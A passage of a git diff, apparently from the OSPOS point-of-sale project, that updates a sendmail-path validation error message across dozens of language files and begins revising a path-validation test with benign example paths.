خاڵ، بۆشایی و خاڵ ڕێگەپێدراون.', 'saved_successfully' => 'پاشەکەوتکردنی ڕێکخستن سەرکەوتوو بوو.', 'saved_unsuccessfully' => 'پاشەکەوتکردنی ڕێکخستن سەرکەوتوو نەبوو.', 'security_issue' => 'ئاگادارکردنەوەی لاوازی ئاسایش', diff --git a/app/Language/cs/Config.php b/app/Language/cs/Config.php index 623c03797..ac8dccab2 100644 --- a/app/Language/cs/Config.php +++ b/app/Language/cs/Config.php @@ -285,7 +285,7 @@ return [ 'right' => '', 'sales_invoice_format' => '', 'sales_quote_format' => '', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Neplatná cesta k sendmailu. Povolena jsou pouze písmena, číslice, pomlčky, podtržítka, lomítka, zpětná lomítka, dvojtečky, mezery a tečky.', 'saved_successfully' => '', 'saved_unsuccessfully' => '', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/da/Config.php b/app/Language/da/Config.php index 7190f300e..c4e13d716 100644 --- a/app/Language/da/Config.php +++ b/app/Language/da/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Right', 'sales_invoice_format' => 'Sales Invoice Format', 'sales_quote_format' => 'Sales Quote Format', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Ugyldig sendmail-sti. Kun bogstaver, tal, bindestreger, understregninger, skråstreger, omvendte skråstreger, kolon, mellemrum og punktummer er tilladt.', 'saved_successfully' => 'Configuration save successful.', 'saved_unsuccessfully' => 'Configuration save failed.', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/de-CH/Config.php b/app/Language/de-CH/Config.php index a25d2f2c2..81ed79c2d 100644 --- a/app/Language/de-CH/Config.php +++ b/app/Language/de-CH/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Right', 'sales_invoice_format' => 'Format Verkaufsrechnung', 'sales_quote_format' => '', - 'mailpath_invalid' => 'Ungültiger Sendmail-Pfad. Nur Buchstaben, Zahlen, Bindestriche, Unterstriche, Schrägstriche und Punkte sind erlaubt.', + 'mailpath_invalid' => 'Ungültiger Sendmail-Pfad. Nur Buchstaben, Zahlen, Bindestriche, Unterstriche, Schrägstriche, Rückwärtsschrägstriche, Doppelpunkte, Leerzeichen und Punkte sind erlaubt.', 'saved_successfully' => 'Einstellungen erfolgreich gesichert', 'saved_unsuccessfully' => 'Einstellungen konnten nicht gesichert werden', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/de-DE/Config.php b/app/Language/de-DE/Config.php index cccf7c4bd..bf5514ef7 100644 --- a/app/Language/de-DE/Config.php +++ b/app/Language/de-DE/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Rechts', 'sales_invoice_format' => 'Format Verkaufsrechnung', 'sales_quote_format' => 'Angebotsformat', - 'mailpath_invalid' => 'Ungültiger Sendmail-Pfad. Nur Buchstaben, Zahlen, Bindestriche, Unterstriche, Schrägstriche und Punkte sind erlaubt.', + 'mailpath_invalid' => 'Ungültiger Sendmail-Pfad. Nur Buchstaben, Zahlen, Bindestriche, Unterstriche, Schrägstriche, Rückwärtsschrägstriche, Doppelpunkte, Leerzeichen und Punkte sind erlaubt.', 'saved_successfully' => 'Einstellungen erfolgreich gesichert.', 'saved_unsuccessfully' => 'Einstellungen konnten nicht gesichert werden.', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/el/Config.php b/app/Language/el/Config.php index a4d3aa00a..fbeb5f84d 100644 --- a/app/Language/el/Config.php +++ b/app/Language/el/Config.php @@ -285,7 +285,7 @@ return [ 'right' => '', 'sales_invoice_format' => '', 'sales_quote_format' => '', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Μη έγκυρη διαδρομή sendmail. Επιτρέπονται μόνο γράμματα, αριθμοί, παύλες, κάτω παύλες, κάθετοι, ανάστροφες κάθετοι, άνω-κάτω τελείες, κενά και τελείες.', 'saved_successfully' => '', 'saved_unsuccessfully' => '', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/en-GB/Config.php b/app/Language/en-GB/Config.php index 5de11324b..15abce4e7 100644 --- a/app/Language/en-GB/Config.php +++ b/app/Language/en-GB/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Right', 'sales_invoice_format' => 'Sales Invoice Format', 'sales_quote_format' => 'Sales Quote Format', - 'mailpath_invalid' => 'Invalid sendmail path. Only letters, numbers, dashes, underscores, slashes and dots are allowed.', + 'mailpath_invalid' => 'Invalid sendmail path. Only letters, numbers, dashes, underscores, slashes, backslashes, colons, spaces and dots are allowed.', 'saved_successfully' => 'Configuration saved successfully.', 'saved_unsuccessfully' => 'Configuration save failed.', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/en/Config.php b/app/Language/en/Config.php index 6ad5f033c..ae2c074b8 100644 --- a/app/Language/en/Config.php +++ b/app/Language/en/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Right', 'sales_invoice_format' => 'Sales Invoice Format', 'sales_quote_format' => 'Sales Quote Format', - 'mailpath_invalid' => 'Invalid sendmail path. Only letters, numbers, dashes, underscores, slashes and dots are allowed.', + 'mailpath_invalid' => 'Invalid sendmail path. Only letters, numbers, dashes, underscores, slashes, backslashes, colons, spaces and dots are allowed.', 'saved_successfully' => 'Configuration save successful.', 'saved_unsuccessfully' => 'Configuration save failed.', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/es-ES/Config.php b/app/Language/es-ES/Config.php index 393b01675..9209e5e78 100644 --- a/app/Language/es-ES/Config.php +++ b/app/Language/es-ES/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Derecha', 'sales_invoice_format' => 'Formato de Facturas de Venta', 'sales_quote_format' => 'Formato de presupuesto de las ventas', - 'mailpath_invalid' => 'Ruta de sendmail inválida. Solo se permiten letras, números, guiones, guiones bajos, barras y puntos.', + 'mailpath_invalid' => 'Ruta de sendmail no válida. Solo se permiten letras, números, guiones, guiones bajos, barras, barras invertidas, dos puntos, espacios y puntos.', 'saved_successfully' => 'Configuración guardada satisfactoriamente.', 'saved_unsuccessfully' => 'Configuración no guardada.', 'security_issue' => 'Advertencia de vulnerabilidad de seguridad', diff --git a/app/Language/es-MX/Config.php b/app/Language/es-MX/Config.php index e3d34980f..355fbd8df 100644 --- a/app/Language/es-MX/Config.php +++ b/app/Language/es-MX/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Right', 'sales_invoice_format' => 'Sales Invoice Format', 'sales_quote_format' => 'Sales Quote Format', - 'mailpath_invalid' => 'Ruta de sendmail inválida. Solo se permiten letras, números, guiones, guiones bajos, barras y puntos.', + 'mailpath_invalid' => 'Ruta de sendmail inválida. Solo se permiten letras, números, guiones, guiones bajos, diagonales, diagonales invertidas, dos puntos, espacios y puntos.', 'saved_successfully' => 'Configuration save successful.', 'saved_unsuccessfully' => 'Configuration save failed.', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/fa/Config.php b/app/Language/fa/Config.php index ff30aa060..db0199c11 100644 --- a/app/Language/fa/Config.php +++ b/app/Language/fa/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'درست', 'sales_invoice_format' => 'قالب فاکتور فروش', 'sales_quote_format' => 'قالب فروش قیمت', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'مسیر sendmail نامعتبر است. فقط حروف، اعداد، خط‌تیره، زیرخط، اسلش، بک‌اسلش، دونقطه، فاصله و نقطه مجاز هستند.', 'saved_successfully' => 'پیکربندی ذخیره موفقیت آمیز است.', 'saved_unsuccessfully' => 'ذخیره پیکربندی انجام نشد.', 'security_issue' => 'هشدار آسیب پذیری امنیتی', diff --git a/app/Language/fr/Config.php b/app/Language/fr/Config.php index d4831eefa..f945c3c75 100644 --- a/app/Language/fr/Config.php +++ b/app/Language/fr/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Droite', 'sales_invoice_format' => 'Format de la facture de vente', 'sales_quote_format' => 'Format de devis de vente', - 'mailpath_invalid' => 'Chemin sendmail invalide. Seuls les lettres, chiffres, tirets, underscores, barres obliques et points sont autorisés.', + 'mailpath_invalid' => 'Chemin sendmail invalide. Seuls les lettres, chiffres, tirets, traits de soulignement, barres obliques, antislashs, deux-points, espaces et points sont autorisés.', 'saved_successfully' => 'Configuration enregistrer avec succès.', 'saved_unsuccessfully' => "L'enregistrement de configuration a échoué.", 'security_issue' => 'Avertissement de faille de sécurité', diff --git a/app/Language/he/Config.php b/app/Language/he/Config.php index b0690db67..6d0116929 100644 --- a/app/Language/he/Config.php +++ b/app/Language/he/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'ימין', 'sales_invoice_format' => 'תבנית חשבונית מכירות', 'sales_quote_format' => 'תבנית חשבונית הצעת מחיר', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'נתיב sendmail לא תקין. מותרים רק אותיות, ספרות, מקפים, קווים תחתונים, לוכסנים, לוכסנים הפוכים, נקודתיים, רווחים ונקודות.', 'saved_successfully' => 'ההגדרות נשמרו בהצלחה.', 'saved_unsuccessfully' => 'שמירת ההגדרות נכשלה.', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/hr-HR/Config.php b/app/Language/hr-HR/Config.php index d82d87980..acf98ab60 100644 --- a/app/Language/hr-HR/Config.php +++ b/app/Language/hr-HR/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Right', 'sales_invoice_format' => 'Oblik fakture', 'sales_quote_format' => '', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Nevažeća sendmail putanja. Dopuštena su samo slova, brojevi, crtice, podvlake, kose crte, obrnute kose crte, dvotočke, razmaci i točke.', 'saved_successfully' => 'Konfiguracija je uspješno snimljena', 'saved_unsuccessfully' => 'Konfiguracija nije uspješno snimljena', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/hu/Config.php b/app/Language/hu/Config.php index e9db17b3f..da4bcf65c 100644 --- a/app/Language/hu/Config.php +++ b/app/Language/hu/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Jobb', 'sales_invoice_format' => 'Eladási számla formátum', 'sales_quote_format' => '', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Érvénytelen sendmail elérési út. Csak betűk, számok, kötőjelek, aláhúzások, perjelek, fordított perjelek, kettőspontok, szóközök és pontok engedélyezettek.', 'saved_successfully' => 'Beállítások sikeresen elmentve', 'saved_unsuccessfully' => 'Beállítások mentése sikertelen', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/hy/Config.php b/app/Language/hy/Config.php index 54fedb971..3be509699 100644 --- a/app/Language/hy/Config.php +++ b/app/Language/hy/Config.php @@ -285,7 +285,7 @@ return [ 'right' => '', 'sales_invoice_format' => '', 'sales_quote_format' => '', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Sendmail-ի ուղին անվավեր է։ Թույլատրվում են միայն տառեր, թվեր, գծիկներ, ընդգծումներ, թեք գծեր, հակառակ թեք գծեր, երկկետեր, բացատներ և կետեր։', 'saved_successfully' => '', 'saved_unsuccessfully' => '', 'security_issue' => '', diff --git a/app/Language/id/Config.php b/app/Language/id/Config.php index c0ab39129..da36135f3 100644 --- a/app/Language/id/Config.php +++ b/app/Language/id/Config.php @@ -285,6 +285,7 @@ return [ 'right' => 'Kanan', 'sales_invoice_format' => 'Format Faktur Penjualan', 'sales_quote_format' => 'Format Penawaran Penjualan', + 'mailpath_invalid' => 'Jalur sendmail tidak valid. Hanya huruf, angka, tanda hubung, garis bawah, garis miring, garis miring terbalik, titik dua, spasi, dan titik yang diizinkan.', 'saved_successfully' => 'Konfigurasi berhasil disimpan.', 'saved_unsuccessfully' => 'Konfigurasi tidak berhasil disimpan.', 'security_issue' => 'Peringatan Kerentanan Keamanan', diff --git a/app/Language/it/Config.php b/app/Language/it/Config.php index 68ef1dc4b..7d3a25508 100644 --- a/app/Language/it/Config.php +++ b/app/Language/it/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Destra', 'sales_invoice_format' => 'Formato Fattura di Vendita', 'sales_quote_format' => 'Formato Preventivo', - 'mailpath_invalid' => 'Percorso sendmail non valido. Sono ammessi solo lettere, numeri, trattini, trattini bassi, barre e punti.', + 'mailpath_invalid' => 'Percorso sendmail non valido. Sono ammessi solo lettere, numeri, trattini, trattini bassi, barre, barre rovesciate, due punti, spazi e punti.', 'saved_successfully' => 'Configurazione salvata correttamente.', 'saved_unsuccessfully' => 'Salvataggio Configurazione Fallito.', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/ka/Config.php b/app/Language/ka/Config.php index c72e701c9..0c547ff80 100644 --- a/app/Language/ka/Config.php +++ b/app/Language/ka/Config.php @@ -285,7 +285,7 @@ return [ 'right' => '', 'sales_invoice_format' => '', 'sales_quote_format' => '', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'sendmail-ის ბილიკი არასწორია. დაშვებულია მხოლოდ ასოები, ციფრები, დეფისები, ხაზგასმები, დახრილი ხაზები, უკუხაზები, ორწერტილები, ჰარეები და წერტილები.', 'saved_successfully' => '', 'saved_unsuccessfully' => '', 'security_issue' => '', diff --git a/app/Language/km/Config.php b/app/Language/km/Config.php index a6fd6b044..3da64dcfc 100644 --- a/app/Language/km/Config.php +++ b/app/Language/km/Config.php @@ -285,7 +285,7 @@ return [ 'right' => '', 'sales_invoice_format' => '', 'sales_quote_format' => '', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'ផ្លូវ sendmail មិនត្រឹមត្រូវ។ អនុញ្ញាតតែអក្សរ លេខ សញ្ញាដាច់បន្ទាត់ សញ្ញាគូសក្រោម សញ្ញាចែកមុខ សញ្ញាចែកក្រោយ សញ្ញាចំណុចពីរ ចន្លោះ និងចំណុចប៉ុណ្ណោះ។', 'saved_successfully' => '', 'saved_unsuccessfully' => '', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/lo/Config.php b/app/Language/lo/Config.php index 34d3f48cb..3b4669217 100644 --- a/app/Language/lo/Config.php +++ b/app/Language/lo/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Right', 'sales_invoice_format' => 'Sales Invoice Format', 'sales_quote_format' => 'Sales Quote Format', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'ເສັ້ນທາງ sendmail ບໍ່ຖືກຕ້ອງ. ອະນຸຍາດສະເພາະຕົວອັກສອນ, ຕົວເລກ, ຂີດກາງ, ຂີດກ້ອງ, ຂີດຂ້າງໜ້າ, ຂີດຂ້າງຫຼັງ, ຈໍ້າສອງເມັດ, ວັກ ແລະ ຈຸດເທົ່ານັ້ນ.', 'saved_successfully' => 'Configuration save successful.', 'saved_unsuccessfully' => 'Configuration save failed.', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/ml/Config.php b/app/Language/ml/Config.php index bb9794fb2..d62d1afa4 100644 --- a/app/Language/ml/Config.php +++ b/app/Language/ml/Config.php @@ -285,7 +285,7 @@ return [ 'right' => '', 'sales_invoice_format' => '', 'sales_quote_format' => '', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'അസാധുവായ sendmail പാത്ത്. അക്ഷരങ്ങൾ, അക്കങ്ങൾ, ഡാഷുകൾ, അടിവരകൾ, സ്ലാഷുകൾ, ബാക്ക്സ്ലാഷുകൾ, കോളനുകൾ, സ്പേസുകൾ, ഡോട്ടുകൾ എന്നിവ മാത്രമേ അനുവദനീയമായുള്ളൂ.', 'saved_successfully' => '', 'saved_unsuccessfully' => '', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/nb/Config.php b/app/Language/nb/Config.php index 19fa62813..da26cc6fa 100644 --- a/app/Language/nb/Config.php +++ b/app/Language/nb/Config.php @@ -285,7 +285,7 @@ return [ 'right' => '', 'sales_invoice_format' => '', 'sales_quote_format' => '', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Ugyldig sendmail-sti. Kun bokstaver, tall, bindestreker, understreker, skråstreker, omvendte skråstreker, kolon, mellomrom og punktum er tillatt.', 'saved_successfully' => '', 'saved_unsuccessfully' => '', 'security_issue' => '', diff --git a/app/Language/nl-BE/Config.php b/app/Language/nl-BE/Config.php index 294577a96..a3fe73acb 100644 --- a/app/Language/nl-BE/Config.php +++ b/app/Language/nl-BE/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Rechts', 'sales_invoice_format' => 'Formattering Aankoop #', 'sales_quote_format' => 'Offerte formaat', - 'mailpath_invalid' => 'Ongeldig sendmail pad. Alleen letters, cijfers, strepen, underscores, slashes en punten zijn toegestaan.', + 'mailpath_invalid' => 'Ongeldig sendmail-pad. Enkel letters, cijfers, streepjes, onderstrepingstekens, schuine strepen, omgekeerde schuine strepen, dubbele punten, spaties en punten zijn toegelaten.', 'saved_successfully' => 'Configuratie werd bewaard.', 'saved_unsuccessfully' => 'Configuratie kon niet worden bewaard.', 'security_issue' => 'Waarschuwing voor Veiligheidslek', diff --git a/app/Language/nl-NL/Config.php b/app/Language/nl-NL/Config.php index b73e50b90..68f0e7e48 100644 --- a/app/Language/nl-NL/Config.php +++ b/app/Language/nl-NL/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Rechts', 'sales_invoice_format' => 'Indeling verkoopfactuur', 'sales_quote_format' => 'Indeling verkoopofferte', - 'mailpath_invalid' => 'Ongeldig sendmail pad. Alleen letters, cijfers, strepen, underscores, slashes en punten zijn toegestaan.', + 'mailpath_invalid' => 'Ongeldig sendmail-pad. Alleen letters, cijfers, streepjes, onderstrepingstekens, schuine strepen, omgekeerde schuine strepen, dubbele punten, spaties en punten zijn toegestaan.', 'saved_successfully' => 'Configuratie opgeslagen.', 'saved_unsuccessfully' => 'Configuratie opslaan mislukt.', 'security_issue' => 'Beveilingskwetsbaarheid waarschuwing', diff --git a/app/Language/pl/Config.php b/app/Language/pl/Config.php index 8aed59197..12445d8dc 100644 --- a/app/Language/pl/Config.php +++ b/app/Language/pl/Config.php @@ -285,6 +285,7 @@ return [ 'right' => '', 'sales_invoice_format' => '', 'sales_quote_format' => '', + 'mailpath_invalid' => 'Nieprawidłowa ścieżka sendmail. Dozwolone są tylko litery, cyfry, myślniki, podkreślenia, ukośniki, ukośniki odwrotne, dwukropki, spacje i kropki.', 'saved_successfully' => '', 'saved_unsuccessfully' => '', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/pt-BR/Config.php b/app/Language/pt-BR/Config.php index b21b311ee..04a6b1d99 100644 --- a/app/Language/pt-BR/Config.php +++ b/app/Language/pt-BR/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Direita', 'sales_invoice_format' => 'Formato da Fatura de Vendas', 'sales_quote_format' => 'Formato de cotação de vendas', - 'mailpath_invalid' => 'Caminho do sendmail inválido. Apenas letras, números, traços, sublinhados, barras e pontos são permitidos.', + 'mailpath_invalid' => 'Caminho do sendmail inválido. Apenas letras, números, traços, sublinhados, barras, barras invertidas, dois-pontos, espaços e pontos são permitidos.', 'saved_successfully' => 'Configuração salva com sucesso.', 'saved_unsuccessfully' => 'Configuração não salva.', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/ro/Config.php b/app/Language/ro/Config.php index f86518373..0170187bc 100644 --- a/app/Language/ro/Config.php +++ b/app/Language/ro/Config.php @@ -285,7 +285,7 @@ return [ 'right' => '', 'sales_invoice_format' => '', 'sales_quote_format' => '', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Cale sendmail invalidă. Sunt permise doar litere, cifre, liniuțe, liniuțe de subliniere, bare oblice, bare oblice inverse, două puncte, spații și puncte.', 'saved_successfully' => '', 'saved_unsuccessfully' => '', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/ru/Config.php b/app/Language/ru/Config.php index 79a24feb5..49470c564 100644 --- a/app/Language/ru/Config.php +++ b/app/Language/ru/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Справа', 'sales_invoice_format' => 'Формат накладной для продаж', 'sales_quote_format' => 'Формат предложений на продажу', - 'mailpath_invalid' => 'Неверный путь sendmail. Разрешены только буквы, цифры, дефисы, подчеркивания, слеши и точки.', + 'mailpath_invalid' => 'Неверный путь sendmail. Разрешены только буквы, цифры, дефисы, подчёркивания, слеши, обратные слеши, двоеточия, пробелы и точки.', 'saved_successfully' => 'Конфигурация успешно сохранена.', 'saved_unsuccessfully' => 'Произошла ошибка при сохранении конфигурации.', 'security_issue' => 'Предупреждение об уязвимости системы безопасности', diff --git a/app/Language/sv/Config.php b/app/Language/sv/Config.php index 0a817eb4c..fa755aa94 100644 --- a/app/Language/sv/Config.php +++ b/app/Language/sv/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Höger', 'sales_invoice_format' => 'Försäljningsfakturaformat', 'sales_quote_format' => 'Försäljningsquotaformat', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Ogiltig sendmail-sökväg. Endast bokstäver, siffror, bindestreck, understreck, snedstreck, omvända snedstreck, kolon, mellanslag och punkter tillåts.', 'saved_successfully' => 'Konfigurationen sparades.', 'saved_unsuccessfully' => 'Konfigurationsbesparingen misslyckades.', 'security_issue' => 'Varning för säkerhetsrisker', diff --git a/app/Language/sw-KE/Config.php b/app/Language/sw-KE/Config.php index 8d5f46256..2ce7dfc0d 100644 --- a/app/Language/sw-KE/Config.php +++ b/app/Language/sw-KE/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Kulia', 'sales_invoice_format' => 'Muundo wa Ankara ya Mauzo', 'sales_quote_format' => 'Muundo wa Nukuu ya Mauzo', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Njia ya sendmail si sahihi. Herufi, nambari, mistari mifupi, mistari chini, mikwaju, mikwaju ya kinyume, koloni, nafasi na vitone pekee ndivyo vinaruhusiwa.', 'saved_successfully' => 'Mpangilio umehifadhiwa kwa mafanikio.', 'saved_unsuccessfully' => 'Mpangilio umeshindwa kuhifadhiwa.', 'security_issue' => 'Onyo la Udhaifu wa Usalama', diff --git a/app/Language/sw-TZ/Config.php b/app/Language/sw-TZ/Config.php index 8d5f46256..af469d0ee 100644 --- a/app/Language/sw-TZ/Config.php +++ b/app/Language/sw-TZ/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Kulia', 'sales_invoice_format' => 'Muundo wa Ankara ya Mauzo', 'sales_quote_format' => 'Muundo wa Nukuu ya Mauzo', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Njia ya sendmail si sahihi. Herufi, tarakimu, mistari mifupi, mistari ya chini, mikwaju, mikwaju ya kinyume, koloni, nafasi na vitone tu ndivyo vinaruhusiwa.', 'saved_successfully' => 'Mpangilio umehifadhiwa kwa mafanikio.', 'saved_unsuccessfully' => 'Mpangilio umeshindwa kuhifadhiwa.', 'security_issue' => 'Onyo la Udhaifu wa Usalama', diff --git a/app/Language/ta/Config.php b/app/Language/ta/Config.php index 84c33fd33..c0508fb87 100644 --- a/app/Language/ta/Config.php +++ b/app/Language/ta/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Right', 'sales_invoice_format' => 'Sales Invoice Format', 'sales_quote_format' => 'Sales Quote Format', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'தவறான sendmail பாதை. எழுத்துகள், எண்கள், கோடுகள், அடிக்கோடுகள், சாய்வுக்கோடுகள், பின்சாய்வுக்கோடுகள், முக்காற்புள்ளிகள், இடைவெளிகள் மற்றும் புள்ளிகள் மட்டுமே அனுமதிக்கப்படும்.', 'saved_successfully' => 'Configuration save successful.', 'saved_unsuccessfully' => 'Configuration save failed.', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/th/Config.php b/app/Language/th/Config.php index 23144e024..62c59f6a9 100644 --- a/app/Language/th/Config.php +++ b/app/Language/th/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'ถูกต้อง', 'sales_invoice_format' => 'รหัสใบเสร็จ', 'sales_quote_format' => 'รูปแบบใบเสนอราคาขาย', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'เส้นทาง sendmail ไม่ถูกต้อง อนุญาตเฉพาะตัวอักษร ตัวเลข ขีดกลาง ขีดล่าง เครื่องหมายทับ เครื่องหมายทับกลับ โคลอน ช่องว่าง และจุดเท่านั้น', 'saved_successfully' => 'บันทึกข้อมูลร้านค้าเรียบร้อยแล้ว', 'saved_unsuccessfully' => 'บันทึกข้อมูลร้านค้าไม่สำเร็จ', 'security_issue' => 'คำเตือนช่องโหว่ด้านความปลอดภัย', diff --git a/app/Language/tl/Config.php b/app/Language/tl/Config.php index 2e001dc93..3f6af2c87 100644 --- a/app/Language/tl/Config.php +++ b/app/Language/tl/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Right', 'sales_invoice_format' => 'Sales Invoice Format', 'sales_quote_format' => 'Sales Quote Format', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Hindi wastong landas ng sendmail. Mga titik, numero, gitling, underscore, slash, backslash, kolon, espasyo, at tuldok lamang ang pinapayagan.', 'saved_successfully' => 'Configuration save successful.', 'saved_unsuccessfully' => 'Configuration save failed.', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/tr/Config.php b/app/Language/tr/Config.php index 851408f26..b7032f8ce 100644 --- a/app/Language/tr/Config.php +++ b/app/Language/tr/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Sağ', 'sales_invoice_format' => 'Satış Fatura Biçimi', 'sales_quote_format' => 'Satış Teklif Biçimi', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Geçersiz sendmail yolu. Yalnızca harflere, rakamlara, tirelere, alt çizgilere, eğik çizgilere, ters eğik çizgilere, iki noktalara, boşluklara ve noktalara izin verilir.', 'saved_successfully' => 'Yapılandırma kaydedildi.', 'saved_unsuccessfully' => 'Yapılandırma kaydedilemedi.', 'security_issue' => 'Güvenlik Arıklığı Uyarısı', diff --git a/app/Language/uk/Config.php b/app/Language/uk/Config.php index 2d29fb4db..9420e2580 100644 --- a/app/Language/uk/Config.php +++ b/app/Language/uk/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Право', 'sales_invoice_format' => 'Формат рахунків-фактур продажів', 'sales_quote_format' => 'Формат котирування продажів', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Невірний шлях sendmail. Дозволені лише літери, цифри, дефіси, підкреслення, коси риски, зворотні коси риски, двокрапки, пробіли та крапки.', 'saved_successfully' => 'Конфігурація успішно збережена', 'saved_unsuccessfully' => 'Помилка збереження конфігурації', 'security_issue' => 'Попередження про вразливість системи безпеки', diff --git a/app/Language/ur/Config.php b/app/Language/ur/Config.php index cfcf8c0ff..23ddbae44 100644 --- a/app/Language/ur/Config.php +++ b/app/Language/ur/Config.php @@ -285,7 +285,7 @@ return [ 'right' => '', 'sales_invoice_format' => '', 'sales_quote_format' => '', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'sendmail کا راستہ غلط ہے۔ صرف حروف، ہندسے، ڈیش، انڈر اسکور، سلیش، بیک سلیش، کالن، اسپیس اور نقطے کی اجازت ہے۔', 'saved_successfully' => '', 'saved_unsuccessfully' => '', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/vi/Config.php b/app/Language/vi/Config.php index cb3678cad..016360b92 100644 --- a/app/Language/vi/Config.php +++ b/app/Language/vi/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Phải', 'sales_invoice_format' => 'Định dạng Hóa đơn bán hàng', 'sales_quote_format' => 'Định dạng Báo giá bán hàng', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Đường dẫn sendmail không hợp lệ. Chỉ cho phép chữ cái, số, dấu gạch ngang, dấu gạch dưới, dấu gạch chéo, dấu gạch chéo ngược, dấu hai chấm, dấu cách và dấu chấm.', 'saved_successfully' => 'Cấu hình được lưu thành công.', 'saved_unsuccessfully' => 'Gặp lỗi khi lưu cấu hình.', 'security_issue' => 'Cảnh báo về lỗ hổng bảo mật', diff --git a/app/Language/zh-Hans/Config.php b/app/Language/zh-Hans/Config.php index d75120a5e..5483da7a1 100644 --- a/app/Language/zh-Hans/Config.php +++ b/app/Language/zh-Hans/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Right', 'sales_invoice_format' => 'Sales Invoice Format', 'sales_quote_format' => '', - 'mailpath_invalid' => '', + 'mailpath_invalid' => '无效的 sendmail 路径。仅允许字母、数字、连字符、下划线、正斜杠、反斜杠、冒号、空格和点号。', 'saved_successfully' => '組態設置儲存成功', 'saved_unsuccessfully' => '組態設置儲存失敗', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/zh-Hant/Config.php b/app/Language/zh-Hant/Config.php index ecb6f570d..cffb4583f 100644 --- a/app/Language/zh-Hant/Config.php +++ b/app/Language/zh-Hant/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Right', 'sales_invoice_format' => '銷售發票格式', 'sales_quote_format' => '銷售報價格式', - 'mailpath_invalid' => '', + 'mailpath_invalid' => '無效的 sendmail 路徑。僅允許字母、數字、連字號、底線、正斜線、反斜線、冒號、空格和句點。', 'saved_successfully' => '組態設置儲存成功.', 'saved_unsuccessfully' => '組態設置儲存失敗.', 'security_issue' => '安全漏洞警告', diff --git a/tests/Config/Validation/OSPOSRulesTest.php b/tests/Config/Validation/OSPOSRulesTest.php index 6ef1daa50..6371db6bd 100644 --- a/tests/Config/Validation/OSPOSRulesTest.php +++ b/tests/Config/Validation/OSPOSRulesTest.php @@ -113,16 +113,26 @@ class OSPOSRulesTest extends CIUnitTestCase public static function validPathStrictProvider(): array { return [ - 'plain sendmail path' => ['/usr/sbin/sendmail', true], - 'plain php path' => ['/usr/bin/php', true], - 'path with dash and underscore' => ['/opt/my-mail_bin/sendmail.exe', true], + 'plain sendmail path' => ['/usr/sbin/sendmail', true], + 'plain php path' => 